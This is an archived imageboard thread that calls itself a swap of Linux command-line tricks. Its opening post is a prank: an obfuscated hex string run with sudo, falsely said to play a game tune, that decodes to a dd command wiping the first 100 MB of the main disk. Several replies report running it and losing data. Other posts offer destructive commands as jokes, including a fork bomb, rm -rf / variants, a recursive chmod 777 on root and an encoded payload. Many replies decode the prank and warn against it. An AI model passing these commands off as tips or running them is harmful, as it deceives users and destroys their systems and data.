[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

itt: we share cool linux command line tricks/programs/whatever

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 164
Thread images: 13

File: 1460166635666.jpg (118KB, 1234x1024px) Image search: [Google]
1460166635666.jpg
118KB, 1234x1024px
itt: we share cool linux command line tricks/programs/whatever

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)


command related. plays the mario dungeon tune on a loop
>>
File: 130221984383.png (84KB, 299x288px) Image search: [Google]
130221984383.png
84KB, 299x288px
>>
File: 1478906049892.jpg (8KB, 300x254px) Image search: [Google]
1478906049892.jpg
8KB, 300x254px
>>57760748
is that god mode for linux?
>>
Lel
>>
>>57760748
don't do this guys it makes nerve gas
>>
>>57760748
Just ran this on my home NAS and it didn't work.
>>
>>57760748
Uh-huh, and that needs sudo because...?
>>
>man xxd
the entire bit in the parentheses is just obfuscating
dd if=/dev/zero of=/dev/sda count=100 bs=1M
>>
>>57760748
sudo apt install gentoo
>>
>>57760971
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
gentoo
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 549 kB of archives.
After this operation, 1,883 kB of additional disk space will be used.
Get:1 http://fi.archive.ubuntu.com/ubuntu yakkety/universe amd64 gentoo amd64 0.20.7-1 [549 kB]
Fetched 549 kB in 0s (2,221 kB/s)
Selecting previously unselected package gentoo.
(Reading database ... 243250 files and directories currently installed.)
Preparing to unpack .../gentoo_0.20.7-1_amd64.deb ...
Unpacking gentoo (0.20.7-1) ...
Processing triggers for mime-support (3.60ubuntu1) ...
Processing triggers for desktop-file-utils (0.23-1ubuntu1) ...
Setting up gentoo (0.20.7-1) ...
Processing triggers for man-db (2.7.5-1) ...


tfw installed gentoo
>>
>>57760858
reboot and see
>>
>>57761175
>ubuntu faggety
>>
alias ..='cd ..'
alias ...='cd ../../'
>>
>>57761202
>Not running ubuntu minimal with wm of choice for maximum compatibility, customizablity and relatively up-to-date software
kys desu senpai
>>
>>57761207
 
alias apt-get install='emerge'
>>
>>57761214
This, I've got mmc based storage and it won't kit me
>>
>>57761214
>nvme
>>57761305
>mmc based storage
never heard of this before
>>
>>57760748
:(){ :|: & };:
>>
function extract {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "Usage: extract <path/file_name>.<zip|rar|bz2|gz|tar|tbz2|tgz|Z|7z|xz|ex|tar.bz2|tar.gz|tar.xz>"
else
if [ -f $1 ] ; then
# NAME=${1%.*}
# mkdir $NAME && cd $NAME
case $1 in
*.tar.bz2) tar xvjf ../$1 ;;
*.tar.gz) tar xvzf ../$1 ;;
*.tar.xz) tar xvJf ../$1 ;;
*.lzma) unlzma ../$1 ;;
*.bz2) bunzip2 ../$1 ;;
*.rar) unrar x -ad ../$1 ;;
*.gz) gunzip ../$1 ;;
*.tar) tar xvf ../$1 ;;
*.tbz2) tar xvjf ../$1 ;;
*.tgz) tar xvzf ../$1 ;;
*.zip) unzip ../$1 ;;
*.Z) uncompress ../$1 ;;
*.7z) 7z x ../$1 ;;
*.xz) unxz ../$1 ;;
*.exe) cabextract ../$1 ;;
*) echo "extract: '$1' - unknown archive method" ;;
esac
else
echo "$1 - file does not exist"
fi
fi
}
>>
>>57760748
itt thread being stupid enough to run a command prefaced with sudo
>>
>>57761853
eMMC is the storage of choice for shitphones.
>>
>>57762904
Dude tar recognizes most of those formats automatically and tar xf/unzip/rar x is shorter to type than extract.
>>
File: Untitled.png (33KB, 740x123px) Image search: [Google]
Untitled.png
33KB, 740x123px
>>57760748
Nothing really happened, what does it do?
>>
Don't be drunk browse here and assume it could be like stack overflow or ask ubuntu.
>>
>>57761207
I've set this up on all on my boxes, it's remarkable how much faster navigation becomes
>>
>>57760748
>feeding some string of characters to xxd which interprets each character as a hex digit and each pair of such digits as an ASCII code and outputs a string of characters corresponding to these codes and then feed that resulting string to the shell as a command sure sounds like a good idea

Nice try, OP. Btw you're incorrect, it plays the zelda triforce theme.
>>
>>57763022

> alekh@archvm
> archvm
> vm
>>
>>57760748
Fuck you OP. I did it on my dad's computer and he's coming home soon. Wat do
>>
>>57761261
>this, desu
>>
>>57761868
found the skid
>>
>>57763377
turn down the volume
>>
`echo "6563686f2022666f6f22" | xxd -r -p`


Why does it output the encoded string's quotation marks as if they were escaped?
>>
>>57763459
Found the skid mark.
>>
>>57763677

#REKT
>>
find /your_moms_pussy -maxdepth -exec BBC {} \;
>>
touch fluffy tail
>>
>>57763555
Seriously asking. Executing
echo "foo"
directly prints just foo as expected. Then why executing it indirectly via
`echo "6563686f2022666f6f22" | xxd -r -p`
prints
"foo"
(i.e. as if the encoded string that is executed was
echo \"foo\"
instead)?
>>
cool
>>
>>57763772
6563686f2022666f6f22 is "foo" and xxd is printing exactly that because it doesn't ignore the quotes like echo.
>>
>>57763848
Nah, it doesn't seem to have anything to do with how xxd works. The hex sequence 6563686f2022666f6f22 represented as characters is
echo "foo"
, and that's what xxd outputs (you can verify this by removing the backticks and just running
echo "6563686f2022666f6f22" | xxd -r -p
). You get
echo "foo"
printed to stdout as expected. The original command (where the previous one is put in backticks, putting it inside $() works the same) does command substitution and executes the previously output string
echo "foo"
as a command, but somehow echo literally prints the quotation marks here.

Btw if you have ls aliased to provide colored output, you'll find that running
`echo ls`
will run the ls binary directly rather than recognizing the alias. Is the unexpected behavior in both cases due to the same thing, and what is it exactly?
>>
>>57763022
Your Arch VM is kill. Now install gentoo
>>
>>57763037
>trusting stack overflow or askubuntu while drunk
>>
>>57763022
looks like you dd'd your hard drive. it will still work as long as your programs are in ram
>>
>>57764025
The quotes are escaped by xxd when they are executed in the backtick context even though your shell shows you normal quotes, basically what is actually executed differs from what you were shown in the shell.

>Btw if you have ls aliased to provide colored output, you'll find that running `echo ls` will run the ls binary directly rather than recognizing the alias. Is the unexpected behavior in both cases due to the same thing, and what is it exactly?

Backticks start a subshell which doesn't have access to your aliases because subshells and child processes don't inherit aliases.
>>
>>57760971
IT WORKED

IM LIVING THE MEME
>>
>>57764025
Ok, so apparently bash does things like quote processing and alias processing way before command substitution, so after the latter is done any quotes or aliases are treated literally.
>>
>>57760748
alright, now I guess I'd better convert it to find out what it's just done
root@ubuntu-512mb-lon1-01:~# sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
100+0 records in
100+0 records out
104857600 bytes (105 MB, 100 MiB) copied, 0.117426 s, 893 MB/s
root@ubuntu-512mb-lon1-01:~#
>>
>>57764270
Nah, that all sounds like rubbish, see >>57764305 for the answer. Proof: http://stackoverflow.com/questions/18567685/why-does-command-substitution-change-how-quoted-arguments-work

>From tbe Bash Reference Manual

The order of expansions is: brace expansion, tilde expansion, parameter, variable, and arithmetic expansion and command substitution (done in a left-to-right fashion), word splitting, and filename expansion.
>>
sudo apt-get install girlfriend

sudo pacman -S gf
>>
>>57764343
...thought I ran this on my testing vps. I ran it on the one that hosts mumble and my portforlio fuck me, I don't have any of it backed up - welp I guess I've got something to do for the next week
>>
anyone have any scp aliases
>>
>>57760748
>linux command line
tech illiterate spotted
>>
>>57764394
explain how
>>
File: 1438191903983.png (444KB, 465x455px) Image search: [Google]
1438191903983.png
444KB, 465x455px
>>57764376
Were you expecting to hear the tunes over SSH?
>>
>>57764404
Obviously he's gonna argue "hurr linux is a kernel and doesn't have a shell, muh interjection" etc.
>>
>>57764416
no of course not, I assumed it was malicious but I've heard before that it doesn't work so wanted to try it for myself
>>
sudo rm -rf /

This helps clear your caches, which essentially leads to faster boot time. Your mileage may vary, though
>>
>>57764430
You forgot --no-preserve-root
>>
>>57764376
>has root access to a linux server
>couldn't at least recognize that the command runs some opaque string as a root command
>actually ran a command with results unknown to him as root
>did it on a fucking server

I sure hope you're joking, mr. anon.
>>
>>57764472
see >>57764429
I knew the command was malicious, only thing I fucked up was running it on the wrong server
>>
File: forkbombcomic.png (84KB, 562x514px) Image search: [Google]
forkbombcomic.png
84KB, 562x514px
>>57760748
>>
Why you all thinks that the command in OP is malicious? Read through the thread, it's just a simple hard drive R/W speed tester
Fucking illiterates
>>
>>57764478
Well then, praise Kek for he has blessed you with wisdom
>>
>>57764517

epic, simply epic
>>
>>57764376
>no backups
OP did you a favor
>>
hurr hurr hurr we are legion hurr hurr hurr people are gonna fall for this 4chan xd duckroll so much mischief lol i am viewing this thread in Tomorrow mode
>>
>>57764608
it was just a static webpage and a mumble server didn't seem like it was worth backing up
>>
>>57760971
Description: fully GUI-configurable, two-pane X file manager
gentoo is a two-pane file manager for the X Window System. gentoo lets the
user do (almost) all of the configuration and customizing from within the
program itself. If you still prefer to hand-edit configuration files,
they're fairly easy to work with since they are written in an XML format.
.
gentoo features a fairly complex and powerful file identification system,
coupled to an object-oriented style system, which together give you a lot
of control over how files of different types are displayed and acted upon.
Additionally, over a hundred pixmap images are available for use in file
type descriptions.
.
gentoo was written from scratch in ANSI C, and it utilizes the GTK+ toolkit
for its interface.
>>
>>57763251
underrated post
>>
>>57763377
Your neet life ended.
>>
> sudo

I am not falling for that
>>
To find out what it does, run it without the 'sudo $(stuff)'

echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p

This will print to the terminal:
dd if=/dev/zero of=/dev/sda count=100 bs=1M

By enclosing that in sudo $(), it literally runs the outputted text.

In case you're wondering, the command writes zeroes for the first 100MB of your hard drive (this is usually where your bootloader is).

Don't run this on a production system. Nice troll OP.
>>
File: 1479361137076.png (5KB, 275x293px) Image search: [Google]
1479361137076.png
5KB, 275x293px
>>57760748
The long string is a continuous hexdump (bytes encoded in base 16). xxd -r -p will revert it back to the original message, which happens to be "dd if=/dev/zero of=/dev/sda count=100 bs=1M". This command will wipe your bootloader clean. (there is a reason dd is nicknamed disk destroyer) Just in case any of you were seriously considering running an obfuscated command with sudo.
>>
>>57764969
>>57765050
So, running OP's command in a VM is safe?
>>
>>57765078
Yes, running in a VM will simply wipe the first 100MB of your bootloader's virtual drive. Which, if you're just running a live session in your VM, effectively does nothing.

If you've installed to a virtual drive, it will break your install.
>>
>>57760748
r9k airlines
>>
>>57760748
What you're referring to "linux command line" is in fact the GNU bash shell. Linux is, as always, just a kernel.
>>
>>57762904
http://www.nongnu.org/atool/
>>
>>57765377
inspired by a true story
https://en.wikipedia.org/wiki/Germanwings_Flight_9525
>>
>>57765050
>bytes encoded in base 16

They are not "encoded". You obviously don't quite understand what "encoding" means". A bit pattern is raw and devoid of any "encoding" (it's higher-level things such as characters which are encoded as specific bit patterns), however it may have different representations (which is something different from an encoding). The hexadecimal representation is used frequently because it allows four bits to be represented by a single digit.
>>
>>57765078
How about figuring out exactly by yourself what it does by just looking at it and examining it (look at >>57763251 if you need hints), rather than asking random people who cannot be trusted whether it is "safe" (which isn't well-defined at all, a complex command which does literally nothing on one system may have disastrous effects on another)?
>>
>>57760935
$(echo "I<RA('1E<W3t`p&r()(pwND&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
>>
sudo rm -rf --no-preserve-root
>>
>>57765359
How is /dev/sda guaranteed to be "your bootloader's virtual drive"?
>>
>>57761207
>>57763068
Or just
setopt autocd
in your ~/.zshrc
>>
>>57765359
>Yes, running in a VM will simply wipe the first 100MB of your bootloader's virtual drive
It could be /dev/vda or /dev/mmcblk0 or anything really.
>>
>>57761261
>Not running ubuntu minimal with wm of choice for maximum compatibility, customizablity and relatively up-to-date software
tfw ubuntu users genuinely believe this
>>
>>57765980
This does literally nothing as you didn't specify what to delete (and the -f parameter suppresses any output which would point that out).
>>
>>57760748
Jet fuel can't melt mountain rocks.
>>
>>57760748
is this garbage some encrypted command that does rm -rf /
>>
>>57766295
No.
>>
>>57764610
>shitting on tomorrow mode
>>
>>57760748
this corrupted my hard drive, do not do this


i lost 5 years of photos
>>
>>57760748
Find a file on your drive:

ls -R / |grep somefilename
>>
Just made this.
It's basically killall, but for renice.
I use it for when an app has multiple processes
eg "reniceall 15 vivaldi-bin"

function reniceall
{
renice $1 -p $(pidof $2)
}
>>
>>57768493
find / -name somefilename

is faster
>>
>tfw some redditor actually fell for this

Makes my life worth living
>>
>>57768493
>>57770519
locate filename

even faster
>>
>>57770603
link?
>>
sudo chmod -r 777 /* 
>>
>>57770681
also
chown root:root
and
chmod u+s
for maximum hilarity
>>
>>57761175
>549kB
wow so this is gentoo huh
>>
>>57765050
so what your saying is i should reply to questions on stackexchange with this
>>
>>57760748
Really makes your dingle berry.
>>
>>57770619
can't specify path desu
>>
>>57760748
coo
>>
>>57765978
stole 1 min from me
>>
>>57764376
Yeah, nice try!
>>
>>57764376
I hope you never get hired
>>
>>57765978
what's going on here
>>
>>57770681
But that's wrong.

>chmod: cannot access ‘777’: No such file or directory
>>
>>57770619
Won't accept wildcards.
>>
>>57770619
https://github.com/clvv/fasd
>>
>>57761868
It didn't do anything
>>
>>57760748
You fucked me :(
>>
>tfw this thread still exists
>tfw there's retards who actually fell for it
>>
>>57771184

the only unbloated os =^)
>>
>>57768493
>>57770619

Triggered. Anything but 'find' is shittier desu
>>
>>57779453
I'd like to interject for a moment. What you're referring to as 'find' is in fact GNU/'find' or, as I have recently come to call it, GNU + 'find'.
>>
>>57760748
Oyvey... now how do I get my disk back plx??????? fdisk /dev/sda doesn't even see anything anymore.
>>
>>57760748
WHELP I did this, actually believing it. And it made my Chromebook go to a Chrome OS is missing or damaged screen.

Should've known, oh well time for another reinstall of Chrome OS, thank god everything is in the cloud
>>
File: 1461493045315.jpg (15KB, 400x387px) Image search: [Google]
1461493045315.jpg
15KB, 400x387px
If you are a linux noob like me and fell for it and haven't restarted your machine yet, try this:

sudo add-apt-repository ppa:yannubuntu/boot-repair
sudo apt-get update
sudo apt-get install -y boot-repair && boot-repair

launch Boot-Repair by typing 'boot-repair' in a terminal

Then click the "Recommended repair" button.
>>
>>57760748
Rm -rf /
>>
>>57760748
AHAHAH Holy fuck, did people actually run this?
>>
>>57760748
Haven't seen this one in awhile. Thanks OP.
>>
File: triforce16.png (243KB, 1104x887px) Image search: [Google]
triforce16.png
243KB, 1104x887px
My fucking sides.
>>
>>57779914
>thank god everything is in the cloud
Incidentally, the cloud is meat for idiots who can't be trusted with local storage.
>>
>>57779671
Well, no wonder given that your MBR/GPT was nuked (and so was the beginning of the first partition and the filesystem on it).

OP's troll might be cruel, but then again there's no excuse for being a complete idiot and running some random wierd-looking command found on the internet (let alone on a taiwanese knitting board) as root.
>>
>>57782682
Agreed.
>>
>bash babies still don't shopt -s autocd by default
>>
>>57768481
Even if you didn't understand the code, at least you should be able to realize that including sudo is unsafe.
>>
>>57760748
delete this
>>
>>57768481
>i lost 5 years of photos
They aren't necessarily lost, only the partition table and a presumably small part of the first partition were wiped. It's almost certainly possiblee to recover the data which was not physically wiped.
>>
File: 2016-12-01-155537_562x338_scrot.png (20KB, 562x338px) Image search: [Google]
2016-12-01-155537_562x338_scrot.png
20KB, 562x338px
Here you go.
>>
>>57760748
nice
>>
>>57764430

sudo [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*

Please post results
>>
Luckily re-installing Gentoo has been only mildly frustrating.
>>
>>57764343
Thanks for hosting with the company I work for.
>>
>>57764619
>didn't seem like it was worth backing up
It always seems like that, until you lose everything by some stupid mistake.
>>
>>57760748
My pc isn't working anymore :(
>>
>>57783515
The fuck is this thread...
>>
>>57783515
>playing russian roulette with the root volume
>>
>>57780883
>being so stupid you don't know how to rebuild the partition table and bootloader

Lmaoing at ur life
>>
none of these work with my windows 10??
>>
>>57788406
>itt: we share cool linux command line tricks/programs/whatever
0/10 attempt at bait
>>
if you add time before the execution you get a neat report on how long the event took
time md5sum file
>>
File: 000046.png (46KB, 1098x479px) Image search: [Google]
000046.png
46KB, 1098x479px
>>57760748
>>
you guys tarded
>>
Worked for me!
>>
>>57787787
At least I have a life.
>>
dd if=/dev/zero of=/dev/sda count=100 bs=1M

twat
>>
>>57787787
Except the first 99 MiB of the filesystem on the first partition have been overwritten also, and you'd need to submit the disk to a professional data recovery/forensics lab to even hope of possibly recovering anything of that.
>>
File: T4Kp4d7.png (1004KB, 2262x5000px) Image search: [Google]
T4Kp4d7.png
1004KB, 2262x5000px
>>57788406
Pic related has some instructions that should work on Windows.

(Now you're also understand what was amusing >>57782570 so much.)
>>
>>57793751
Thanks for making me feel less of a retard for having fromated my disk after I ran OP's troll.
>>
>>57763772
It's because of the shell.
When you run
 echo "foo" 
, the shell sees the quotes and does not perform word splitting on the enclosed string. The argument passed to echo is just foo, without the quotes. You can prevent the shell from interpreting the quotes by escaping them with backslashes.
Evidently, bash won't interpret quotes in command substitutions, and the argument to echo is the unprocessed string including the quotes.
I'm not sure why this is. From the bash man page:
 The order of expansions is: brace expansion; tilde expansion, parameter and vari‐
able expansion, arithmetic expansion, and command substitution (done in a left-
to-right fashion); word splitting; and pathname expansion.

Command substitution happens before word splitting, so I would have expected it to interpret those quotes.
>>
Wouldnt trust a single line of anything you asshats post. Too foxy for you hunters
>>
>>57796009
You could have recovered the files tho.
>>
>>57765978
you got me
>>
>>57765978
fuck you
>>
you need xdotool for this one
while true; do xdotool mousemove "$(shuf -i 0-1365 -n 1)" "$(shuf -i 0-767 -n 1)"; done
>>
>>57798397
>1365x767
found the poorfag laptop user
>>
>>57760748
joke on you I have my OS on /dev/sdb.
>>
>>57796009
You didn't understand the anon you have replied to. What he meant was that the first 100 megabytes of the disk were 99.9% lost forever, but all the rest should be possible to recover quite easily. If you formatted a volume (or possibly a whole physical disk) hundreds of gigabytes large because of this, then indeed have you done goofed.
>>
File: 1470659833838.png (106KB, 475x382px) Image search: [Google]
1470659833838.png
106KB, 475x382px
pcmanfm --desktop&
(sleep 3s && pcmanfm --desktop-off)&
Thread posts: 164
Thread images: 13


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

If you need a post removed click on it's [Report] button and follow the instruction.
If you like this website please support us by donating with Bitcoin at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties. Posts and uploaded images are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that website. If you need information about a Poster - contact 4chan. This project is not affiliated in any way with 4chan.